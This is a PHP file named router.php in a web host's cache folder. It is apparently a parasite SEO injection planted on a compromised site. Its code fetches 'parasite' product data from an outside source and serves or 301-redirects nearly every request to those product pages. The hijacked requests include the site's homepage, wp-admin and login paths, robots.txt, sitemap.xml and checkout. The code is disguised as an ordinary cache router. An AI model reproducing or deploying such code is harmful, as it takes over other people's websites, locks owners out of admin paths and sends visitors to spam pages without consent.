File: /home/sioberen/public_html/cache/router.php
<?php
require_once __DIR__ . '/config.php';
$request_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
$script_name = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '/index.php';
$base_path = dirname($script_name);
$base_path = str_replace('\\', '/', $base_path);
$base_path = ($base_path == '/') ? '' : $base_path;
if (strpos($request_uri, $base_path) === 0) {
$request_path = substr($request_uri, strlen($base_path));
} else {
$request_path = $request_uri;
}
$request_path = strtok($request_path, '?');
$request_path = trim($request_path, '/');
$segments = explode('/', $request_path);
function redirect_to_random_product($base_url) {
try {
require_once __DIR__ . '/config.php';
$apiData = getParasiteData();
if ($apiData && isset($apiData['product']) && isset($apiData['product']['id'])) {
$random_product_id = $apiData['product']['id'];
$redirect_url = buildProductUrl($random_product_id);
header("Location: " . $redirect_url, true, 301);
exit();
}
} catch (Exception $e) {
error_log("Random product redirect failed: " . $e->getMessage());
}
$fallback_url = buildProductUrl('600001');
header("Location: " . $fallback_url, true, 301);
exit();
}
$product_id = parseProductId($request_uri);
if ($product_id && is_numeric($product_id) && $product_id > 0) {
try {
require_once __DIR__ . '/config.php';
$apiData = getParasiteData($product_id);
if ($apiData && isset($apiData['product'])) {
$_GET['id'] = $product_id;
require 'product.php';
exit();
}
} catch (Exception $e) {
error_log("Product validation failed: " . $e->getMessage());
}
redirect_to_random_product($base_parasite_url);
}
$first_segment = isset($segments[0]) ? strtolower($segments[0]) : '';
$redirect_patterns = array(
'wp-admin', 'wp-login', 'admin', 'login', 'wp-content', 'wp-includes',
'robots.txt', 'sitemap.xml', 'favicon.ico', 'apple-touch-icon',
'android-chrome', '.well-known', 'index.php', 'index.html',
'search', 'shop', 'products', 'cart', 'checkout', 'account'
);
if (in_array($first_segment, $redirect_patterns) ||
strpos($first_segment, '.php') !== false ||
strpos($first_segment, '.html') !== false ||
strpos($first_segment, '.') !== false) {
redirect_to_random_product($base_parasite_url);
}
if (empty($request_path) || $request_path == '' || $request_path == 'index.php') {
try {
require_once __DIR__ . '/config.php';
$apiData = getParasiteData();
if ($apiData && isset($apiData['product'])) {
$_GET['id'] = $apiData['product']['id'];
require 'product.php';
exit();
} else {
$fallback_url = buildProductUrl('600001');
header("Location: " . $fallback_url, true, 301);
exit();
}
} catch (Exception $e) {
error_log("Failed to load first product for homepage: " . $e->getMessage());
redirect_to_random_product($base_parasite_url);
}
}
redirect_to_random_product($base_parasite_url);